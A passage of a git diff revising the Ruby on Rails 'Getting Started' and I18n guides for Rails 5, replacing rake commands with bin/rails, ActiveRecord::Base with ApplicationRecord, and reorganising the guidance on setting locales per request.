application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).| |config.ru|Rack configuration for Rack based servers used to start the application.| |db/|Contains your current database schema, as well as the database migrations.| @@ -172,7 +174,7 @@ of the files and folders that Rails created by default: |log/|Application log files.| |public/|The only folder seen by the world as-is. Contains static files and compiled assets.| |Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.| -|README.rdoc|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| +|README.md|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.| |test/|Unit tests, fixtures, and other test apparatus. These are covered in [Testing Rails Applications](testing.html).| |tmp/|Temporary files (like cache and pid files).| |vendor/|A place for all third-party code. In a typical Rails application this includes vendored gems.| @@ -206,7 +208,7 @@ commented line for new apps and you can uncomment if you need it. default to the `Gemfile` in apps generated under JRuby. You can investigate all the supported runtimes at [ExecJS](https://github.com/rails/execjs#readme). -This will fire up WEBrick, a web server distributed with Ruby by default. To see +This will fire up Puma, a web server distributed with Rails by default. To see your application in action, open a browser window and navigate to <http://localhost:3000>. You should see the Rails default information page: @@ -221,8 +223,7 @@ the server. The "Welcome aboard" page is the _smoke test_ for a new Rails application: it makes sure that you have your software configured correctly enough to serve a -page. You can also click on the _About your application's environment_ link to -see a summary of your application's environment. +page. ### Say "Hello", Rails @@ -243,11 +244,11 @@ Ruby) which is processed by the request cycle in Rails before being sent to the user. To create a new controller, you will need to run the "controller" generator and -tell it you want a controller called "welcome" with an action called "index", +tell it you want a controller called "Welcome" with an action called "index", just like this: ```bash -$ bin/rails generate controller welcome index +$ bin/rails generate controller Welcome index ``` Rails will create several files and a route for you. @@ -262,6 +263,7 @@ invoke test_unit create test/controllers/welcome_controller_test.rb invoke helper create app/helpers/welcome_helper.rb +invoke test_unit invoke assets invoke coffee create app/assets/javascripts/welcome.coffee @@ -296,32 +298,37 @@ Open the file `config/routes.rb` in your editor. Rails.application.routes.draw do get 'welcome/index' - # The priority is based upon order of creation: - # first created -> highest priority. - # - # You can have the root of your site routed with "root" - # root 'welcome#index' - # - # ... + # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html + + # Serve websocket cable requests in-process + # mount ActionCable.server => '/cable' +end ``` This is your application's _routing file_ which holds entries in a special [DSL (domain-specific language)](http://en.wikipedia.org/wiki/Domain-specific_language) that tells Rails how to connect incoming requests to -controllers and actions. This file contains many sample routes on commented -lines, and one of them actually shows you how to connect the root of your site -to a specific controller and action. Find the line beginning with `root` and -uncomment it. It should look something like the following: +controllers and actions. +Edit this file by adding the line of code `root 'welcome#index'`. +It should look something like the following: ```ruby -root 'welcome#index' +Rails.application.routes.draw do + get 'welcome/index' + + # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html + + # Serve websocket cable requests in-process + # mount ActionCable.server => '/cable' + root 'welcome#index' +end ``` `root 'welcome#index'` tells Rails to map requests to the root of the application to the welcome controller's index action and `get 'welcome/index'` tells Rails to map requests to <http://localhost:3000/welcome/index> to the welcome controller's index action. This was created earlier when you ran the -controller generator (`bin/rails generate controller welcome index`). +controller generator (`bin/rails generate controller Welcome index`). Launch the web server again if you stopped it to generate the controller (`bin/rails server`) and navigate to <http://localhost:3000> in your browser. You'll see the @@ -345,7 +352,7 @@ operations are referred to as _CRUD_ operations. Rails provides a `resources` method which can be used to declare a standard REST resource. You need to add the _article resource_ to the -`config/routes.rb` as follows: +`config/routes.rb` so the file will look as follows: ```ruby Rails.application.routes.draw do @@ -356,13 +363,13 @@ Rails.application.routes.draw do end ``` -If you run `bin/rake routes`, you'll see that it has defined routes for all the +If you run `bin/rails routes`, you'll see that it has defined routes for all the standard RESTful actions. The meaning of the prefix column (and other columns) will be seen later, but for now notice that Rails has inferred the singular form `article` and makes meaningful use of the distinction. ```bash -$ bin/rake routes +$ bin/rails routes Prefix Verb URI Pattern Controller#Action articles GET /articles(.:format) articles#index POST /articles(.:format) articles#create @@ -377,14 +384,14 @@ edit_article GET /articles/:id/edit(.:format) articles#edit In the next section, you will add the ability to create new articles in your application and be able to view them. This is the "C" and the "R" from CRUD: -creation and reading. The form for doing this will look like this: +create and read. The form for doing this will look like this:  It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards. -### Laying down the ground work +### Laying down the groundwork Firstly, you need a place within the application to create a new article. A great place for that would be at `/articles/new`. With the route already @@ -400,7 +407,7 @@ a controller called `ArticlesController`. You can do this by running this command: ```bash -$ bin/rails g controller articles +$ bin/rails generate controller Articles ``` If you open up the newly generated `app/controllers/articles_controller.rb` @@ -468,7 +475,7 @@ one here because the `ArticlesController` inherits from `ApplicationController`. The next part of the message contains a hash. The `:locale` key in this hash simply indicates which spoken language template should be retrieved. By default, this is the English - or "en" - template. The next key, `:formats` specifies the -format of template to be served in response. The default format is `:html`, and +format of the template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and @@ -556,10 +563,10 @@ this: In this example, the `articles_path` helper is passed to the `:url` option. To see what Rails will do with this, we look back at the output of -`bin/rake routes`: +`bin/rails routes`: ```bash -$ bin/rake routes +$ bin/rails routes Prefix Verb URI Pattern Controller#Action articles GET /articles(.:format) articles#index POST /articles(.:format) articles#create @@ -619,10 +626,10 @@ def create end ``` -The `render` method here is taking a very simple hash with a key of `plain` and +The `render` method here is taking a very simple hash with a key of `:plain` and value of `params[:article].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` -method returns an `ActiveSupport::HashWithIndifferentAccess` object, which +method returns an `ActionController::Parameters` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. @@ -632,7 +639,7 @@ If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following: ```ruby -{"title"=>"First article!", "text"=>"This is my first article."} +<ActionController::Parameters {"title"=>"First Article!", "text"=>"This is my first article."} permitted: false> ``` This action is now displaying the parameters for the article that are coming in @@ -650,7 +657,7 @@ run this command in your terminal: $ bin/rails generate model Article title:string text:text ``` -With that command we told Rails that we want a `Article` model, together +With that command we told Rails that we want an `Article` model, together with a _title_ attribute of type string, and a _text_ attribute of type text. Those attributes are automatically added to the `articles` table in the database and mapped to the `Article` model. @@ -677,13 +684,13 @@ If you look in the `db/migrate/YYYYMMDDHHMMSS_create_articles.rb` file (remember, yours will have a slightly different name), here's what you'll find: ```ruby -class CreateArticles < ActiveRecord::Migration +class CreateArticles < ActiveRecord::Migration[5.0] def change create_table :articles do |t| t.string :title t.text :text - t.timestamps null: false + t.timestamps end end end @@ -699,10 +706,10 @@ two timestamp fields to allow Rails to track article creation and update times. TIP: For more information about migrations, refer to [Rails Database Migrations] (migrations.html). -At this point, you can use a rake command to run the migration: +At this point, you can use a bin/rails command to run the migration: ```bash -$ bin/rake db:migrate +$ bin/rails db:migrate ``` Rails will execute this migration command and tell you it created the Articles @@ -719,7 +726,7 @@ NOTE. Because you're working in the development environment by default, this command will apply to the database defined in the `development` section of your `config/database.yml` file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when -invoking the command: `bin/rake db:migrate RAILS_ENV=production`. +invoking the command: `bin/rails db:migrate RAILS_ENV=production`. ### Saving data in the controller @@ -764,7 +771,7 @@ Why do you have to bother? The ability to grab and automatically assign all controller parameters to your model in one shot makes the programmer's job easier, but this convenience also allows malicious use. What if a request to the server was crafted to look like a new article form submit but also included -extra fields with values that violated your applications integrity? They would +extra fields with values that violated your application's integrity? They would be 'mass assigned' into your model and then into the database along with the good stuff - potentially breaking your application or worse. @@ -806,7 +813,7 @@ If you submit the form again now, Rails will complain about not finding the `show` action. That's not very useful though, so let's add the `show` action before proceeding. -As we have seen in the output of `bin/rake routes`, the route for `show` action is +As we have seen in the output of `bin/rails routes`, the route for `show` action is as follows: ``` @@ -836,7 +843,7 @@ class ArticlesController < ApplicationController def new end - # snipped for brevity + # snippet for brevity ``` A couple of things to note. We use `Article.find` to find the article we're @@ -868,7 +875,7 @@ Visit <http://localhost:3000/articles/new> and give it a try! ### Listing all articles We still need a way to list all our articles, so let's do that. -The route for this as per output of `bin/rake routes` is: +The route for this as per output of `bin/rails routes` is: ``` articles GET /articles(.:format) articles#index @@ -892,7 +899,7 @@ class ArticlesController < ApplicationController def new end - # snipped for brevity + # snippet for brevity ``` And then finally, add the view for this action, located at @@ -988,21 +995,22 @@ and restart the web server when a change is made. The model file, `app/models/article.rb` is about as simple as it can get: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord end ``` There isn't much to this file - but note that the `Article` class inherits from -`ActiveRecord::Base`. Active Record supplies a great deal of functionality to -your Rails models for free, including basic database CRUD (Create, Read, Update, -Destroy) operations, data validation, as well as sophisticated search support -and the ability to relate multiple models to one another. +`ApplicationRecord`. `ApplicationRecord` inherits from `ActiveRecord::Base` +which supplies a great deal of functionality to your Rails models for free, +including basic database CRUD (Create, Read, Update, Destroy) operations, data +validation, as well as sophisticated search support and the ability to relate +multiple models to one another. Rails includes methods to help you validate the data that you send to models. Open the `app/models/article.rb` file and edit it: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord validates :title, presence: true, length: { minimum: 5 } end @@ -1240,10 +1248,9 @@ article we want to show the form back to the user. We reuse the `article_params` method that we defined earlier for the create action. -TIP: You don't need to pass all attributes to `update`. For -example, if you'd call `@article.update(title: 'A new title')` -Rails would only update the `title` attribute, leaving all other -attributes untouched. +TIP: It is not necessary to pass all the attributes to `update`. For example, +if `@article.update(title: 'A new title')` was called, Rails would only update +the `title` attribute, leaving all other attributes untouched. Finally, we want to show a link to the `edit` action in the list of all the articles, so let's add that now to `app/views/articles/index.html.erb` to make @@ -1363,7 +1370,7 @@ Then do the same for the `app/views/articles/edit.html.erb` view: We're now ready to cover the "D" part of CRUD, deleting articles from the database. Following the REST convention, the route for -deleting articles as per output of `bin/rake routes` is: +deleting articles as per output of `bin/rails routes` is: ```ruby DELETE /articles/:id(.:format) articles#destroy @@ -1491,7 +1498,7 @@ appear.  TIP: Learn more about jQuery Unobtrusive Adapter (jQuery UJS) on -[Working With Javascript in Rails](working_with_javascript_in_rails.html) guide. +[Working With JavaScript in Rails](working_with_javascript_in_rails.html) guide. Congratulations, you can now create, show, list, update and destroy articles. @@ -1510,7 +1517,7 @@ comments on articles. We're going to see the same generator that we used before when creating the `Article` model. This time we'll create a `Comment` model to hold -reference of article comments. Run this command in your terminal: +reference to an article. Run this command in your terminal: ```bash $ bin/rails generate model Comment commenter:string body:text article:references @@ -1522,13 +1529,13 @@ This command will generate four files: | -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | | db/migrate/20140120201010_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | | app/models/comment.rb | The Comment model | -| test/models/comment_test.rb | Testing harness for the comments model | +| test/models/comment_test.rb | Testing harness for the comment model | | test/fixtures/comments.yml | Sample comments for use in testing | First, take a look at `app/models/comment.rb`: ```ruby -class Comment < ActiveRecord::Base +class Comment < ApplicationRecord belongs_to :article end ``` @@ -1537,32 +1544,34 @@ This is very similar to the `Article` model that you saw earlier. The difference is the line `belongs_to :article`, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. +The (`:references`) keyword used in the bash command is a special data type for models. +It creates a new column on your database table with the provided model name appended with an `_id` +that can hold integer values. You can get a better understanding after analyzing the +`db/schema.rb` file below. + In addition to the model, Rails has also made a migration to create the corresponding database table: ```ruby -class CreateComments < ActiveRecord::Migration +class CreateComments < ActiveRecord::Migration[5.0] def change create_table :comments do |t| t.string :commenter t.text :body + t.references :article, foreign_key: true - # this line adds an integer column called `article_id`. - t.references :article, index: true - - t.timestamps null: false + t.timestamps end - add_foreign_key :comments, :articles end end ``` -The `t.references` line sets up a foreign key column for the association between -the two models. An index for this association is also created on this column. -Go ahead and run the migration: +The `t.references` line creates an integer column called `article_id`, an index +for it, and a foreign key constraint that points to the `id` column of the `articles` +table. Go ahead and run the migration: ```bash -$ bin/rake db:migrate +$ bin/rails db:migrate ``` Rails is smart enough to only execute the migrations that have not already been @@ -1572,8 +1581,6 @@ run against the current database, so in this case you will just see: == CreateComments: migrating ================================================= -- create_table(:comments) -> 0.0115s --- add_foreign_key(:comments, :articles) - -> 0.0000s == CreateComments: migrated (0.0119s) ======================================== ``` @@ -1591,7 +1598,7 @@ association. You've already seen the line of code inside the `Comment` model (app/models/comment.rb) that makes each comment belong to an Article: ```ruby -class Comment < ActiveRecord::Base +class Comment < ApplicationRecord belongs_to :article end ``` @@ -1600,7 +1607,7 @@ You'll need to edit `app/models/article.rb` to add the other side of the association: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_many :comments validates :title, presence: true, length: { minimum: 5 } @@ -1966,7 +1973,7 @@ you to use the `dependent` option of an association to achieve this. Modify the Article model, `app/models/article.rb`, as follows: ```ruby -class Article < ActiveRecord::Base +class Article < ApplicationRecord has_many :comments, dependent: :destroy validates :title, presence: true, length: { minimum: 5 } @@ -2003,7 +2010,7 @@ class ArticlesController < ApplicationController @articles = Article.all end - # snipped for brevity + # snippet for brevity ``` We also want to allow only authenticated users to delete comments, so in the @@ -2019,7 +2026,7 @@ class CommentsController < ApplicationController # ... end - # snipped for brevity + # snippet for brevity ``` Now if you try to create a new article, you will be greeted with a basic HTTP diff --git a/guides/source/i18n.md b/guides/source/i18n.md index e8d0a83dd0..0edfa072f8 100644 --- a/guides/source/i18n.md +++ b/guides/source/i18n.md @@ -25,7 +25,7 @@ After reading this guide, you will know: * How I18n works in Ruby on Rails * How to correctly use I18n into a RESTful application in various ways -* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects +* How to use I18n to translate Active Record errors or Action Mailer E-mail subjects * Some other tools to go further with the translation process of your application -------------------------------------------------------------------------------- @@ -40,7 +40,7 @@ Internationalization is a complex problem. Natural languages differ in so many w * providing support for English and similar languages out of the box * making it easy to customize and extend everything for other languages -As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults. +As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**. _Localization_ of a Rails application means defining translated values for these strings in desired languages. ### The Overall Architecture of the Library @@ -51,7 +51,7 @@ Thus, the Ruby I18n gem is split into two parts: As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend. -NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below. +NOTE: It is possible to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section [Using different backends](#using-different-backends) below. ### The Public I18n API @@ -84,13 +84,13 @@ So, let's internationalize a simple Rails application from the ground up in the Setup the Rails Application for Internationalization ---------------------------------------------------- -There are just a few simple steps to get up and running with I18n support for your application. +There are a few steps to get up and running with I18n support for a Rails application. ### Configure the I18n Module -Following the _convention over configuration_ philosophy, Rails will set up your application with reasonable defaults. If you need different settings, you can overwrite them easily. +Following the _convention over configuration_ philosophy, Rails I18n provides reasonable default translation strings. When different translation strings are needed, they can be overridden. -Rails adds all `.rb` and `.yml` files from the `config/locales` directory to your **translations load path**, automatically. +Rails adds all `.rb` and `.yml` files from the `config/locales` directory to the **translations load path**, automatically. The default `en.yml` locale in this directory contains a sample pair of translation strings: @@ -101,15 +101,15 @@ en: This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend. -The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations. +The I18n library will use **English** as a **default locale**, i.e. if a different locale is not set, `:en` will be used for looking up translations. NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it. -The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you. +The **translations load path** (`I18n.load_path`) is an array of paths to files that will be loaded automatically. Configuring this path allows for customization of translations directory structure and file naming scheme. -NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced. +NOTE: The backend lazy-loads these translations when a translation is looked up for the first time. This backend can be swapped with something else even after translations have already been announced. -The default `application.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines. +The default `config/application.rb` file has instructions on how to add locales from another directory and how to set a different default locale. ```ruby # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. @@ -117,31 +117,25 @@ The default `application.rb` file has instructions on how to add locales from an # config.i18n.default_locale = :de ``` -### Optional: Custom I18n Configuration Setup - -For the sake of completeness, let's mention that if you do not want to use the `application.rb` file for some reason, you can always wire up things manually, too. - -To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an initializer: +The load path must be specified before any translations are looked up. To change the default locale from an initializer instead of `config/application.rb`: ```ruby -# in config/initializers/locale.rb +# config/initializers/locale.rb -# tell the I18n library where to find your translations +# Where the I18n library should search for translation files I18n.load_path += Dir[Rails.root.join('lib', 'locale', '*.{rb,yml}')] -# set default locale to something other than :en +# Set default locale to something other than :en I18n.default_locale = :pt ``` -### Setting and Passing the Locale - -If you want to translate your Rails application to a **single language other than English** (the default locale), you can set I18n.default_locale to your locale in `application.rb` or an initializer as shown above, and it will persist through the requests. +### Managing the Locale across Requests -However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests. +The default locale is used for all translations unless `I18n.locale` is explicitly set. -WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. +A localized application will likely need to provide support for multiple locales. To accomplish this, the locale should be set at the beginning of each request so that all strings are translated using the desired locale during the lifetime of that request. -The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this: +The locale can be set in a `before_action` in the `ApplicationController`: ```ruby before_action :set_locale @@ -151,11 +145,11 @@ def set_locale end ``` -This requires you to pass the locale as a URL query parameter as in `http://example.com/books?locale=pt`. (This is, for example, Google's approach.) So `http://localhost:3000?locale=pt` will load the Portuguese localization, whereas `http://localhost:3000?locale=de` would load the German localization, and so on. You may skip the next section and head over to the **Internationalize your application** section, if you want to try things out by manually placing the locale in the URL and reloading the page. +This example illustrates this using a URL query parameter to set the locale (e.g. `http://example.com/books?locale=pt`). With this approach, `http://localhost:3000?locale=pt` renders the Portuguese localization, while `http://localhost:3000?locale=de` loads a German localization. -Of course, you probably don't want to manually include the locale in every URL all over your application, or want the URLs look differently, e.g. the usual `http://example.com/pt/books` versus `http://example.com/en/books`. Let's discuss the different options you have. +The locale can be set using one of many different approaches. -### Setting the Locale from the Domain Name +#### Setting the Locale from the Domain Name One option you have is to set the locale from the domain name where your application runs. For example, we want `www.example.com` to load the English (or default) locale, and `www.example.es` to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: @@ -201,14 +195,14 @@ end If your application includes a locale switching menu, you would then have something like this in it: ```ruby -link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}") +link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['PATH_INFO']}") ``` assuming you would set `APP_CONFIG[:deutsch_website_url]` to some value like `http://www.application.de`. This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). -### Setting the Locale from the URL Params +#### Setting the Locale from URL Params The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the `I18n.locale = params[:locale]` _before_action_ in the first example. We would like to have URLs like `www.example.com/books?locale=ja` or `www.example.com/ja/books` in this case. @@ -216,14 +210,14 @@ This approach has almost the same set of advantages as setting the locale from t Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course. -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method). +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding `default_url_options`). We can include something like this in our `ApplicationController` then: ```ruby # app/controllers/application_controller.rb -def default_url_options(options = {}) - { locale: I18n.locale }.merge options +def default_url_options + { locale: I18n.locale } end ``` @@ -231,7 +225,7 @@ Every helper method dependent on `url_for` (e.g. helpers for named routes like ` You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. -You probably want URLs to look like this: `www.example.com/en/books` (which loads the English locale) and `www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scoping`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html) option in this way: +You probably want URLs to look like this: `http://www.example.com/en/books` (which loads the English locale) and `http://www.example.com/nl/books` (which loads the Dutch locale). This is achievable with the "over-riding `default_url_options`" strategy from above: you just have to set up your routes with [`scope`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Scoping.html): ```ruby # config/routes.rb @@ -240,7 +234,9 @@ scope "/:locale" do end ``` -Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). An URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed). +Now, when you call the `books_path` method you should get `"/en/books"` (for the default locale). A URL like `http://localhost:3001/nl/books` should load the Dutch locale, then, and following calls to `books_path` should return `"/nl/books"` (because the locale changed). + +WARNING. Since the return value of `default_url_options` is cached per request, the URLs in a locale selector cannot be generated invoking helpers in a loop that sets the corresponding `I18n.locale` in each iteration. Instead, leave `I18n.locale` untouched, and pass an explicit `:locale` option to the helper, or edit `request.original_fullpath`. If you don't want to force the use of a locale in your routes you can use an optional path scope (denoted by the parentheses) like so: @@ -253,7 +249,7 @@ end With this approach you will not get a `Routing Error` when accessing your resources such as `http://localhost:3001/books` without a locale. This is useful for when you want to use the default locale when one is not specified. -Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.) +Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. A URL like `http://localhost:3001/nl` will not work automatically, because the `root to: "books#index"` declaration in your `routes.rb` doesn't take locale into account. (And rightly so: there's only one "root" URL.) You would probably need to map URLs like these: @@ -266,14 +262,23 @@ Do take special care about the **order of your routes**, so this route declarati NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator). -### Setting the Locale from the Client Supplied Information +#### Setting the Locale from User Preferences + +An application with authenticated users may allow users to set a locale preference through the application's interface. With this approach, a user's selected locale preference is persisted in the database and used to set the locale for authenticated requests by that user. + +```ruby +def set_locale + I18n.locale = current_user.try(:locale) || I18n.default_locale +end +``` -In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above. +#### Choosing an Implied Locale +When an explicit locale has not been set for a request (e.g. via one of the above methods), an application should attempt to infer the desired locale. -#### Using `Accept-Language` +##### Inferring Locale from the Language Header -One source of client supplied information would be an `Accept-Language` HTTP header. People may [set this in their browser](http://www.w3.org/International/questions/qa-lang-priorities) or other clients (such as _curl_). +The `Accept-Language` HTTP header indicates the preferred language for request's response. Browsers [set this header value based on the user's language preference settings](http://www.w3.org/International/questions/qa-lang-priorities), making it a good first choice when inferring a locale. A trivial implementation of using an `Accept-Language` header would be: @@ -290,24 +295,27 @@ private end ``` -Of course, in a production environment you would need much more robust code, and could use a gem such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb). -#### Using GeoIP (or Similar) Database +In practice, more robust code is necessary to do this reliably. Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) library or Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb) Rack middleware provide solutions to this problem. -Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned. +##### Inferring the Locale from IP Geolocation -#### User Profile +The IP address of the client making the request can be used to infer the client's region and thus their locale. Services such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry) or gems like [geocoder](https://github.com/alexreisner/geocoder) can be used to implement this approach. -You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. +In general, this approach is far less reliable than using the language header and is not recommended for most web applications. -Internationalizing your Application +#### Storing the Locale from the Session or Cookies + +WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below. + +Internationalization and Localization ----------------------------------- -OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. +OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. -Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide necessary translations for these abstracts. +Next we need to _internationalize_ our application by abstracting every locale-specific element. Finally, we need to _localize_ it by providing necessary translations for these abstracts. -You most probably have something like this in one of your applications: +Given the following example: ```ruby # config/routes.rb @@ -344,9 +352,9 @@ end  -### Adding Translations +### Abstracting Localized Code -Obviously there are **two strings that are localized to English**. In order to internationalize this code, **replace these strings** with calls to Rails' `#t` helper with a key that makes sense for the translation: +There are two strings in our code that are in English and that users will be rendered in our response ("Hello Flash" and "Hello World"). In order to internationalize this code, these strings need to be replaced by calls to Rails' `#t` helper with an appropriate key for each string: ```ruby # app/controllers/home_controller.rb @@ -363,13 +371,15 @@ end <p><%= flash[:notice] %></p> ``` -When you now render this view, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing. +Now, when this view is rendered, it will show an error message which tells you that the translations for the keys `:hello_world` and `:hello_flash` are missing.  NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do not need to spell out `I18n.t` all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a `<span class="translation_missing">`. -So let's add the missing translations into the dictionary files (i.e. do the "localization" part): +### Providing Translations for Internationalized Strings + +Add the missing translations into the translation dictionary files: ```yaml # config/locales/en.yml @@ -383,11 +393,11 @@ pirate: hello_flash: Ahoy Flash ``` -There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows: +Because the `default_locale` hasn't changed, translations use the `:en` locale and the response renders the english strings:  -And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get: +If the 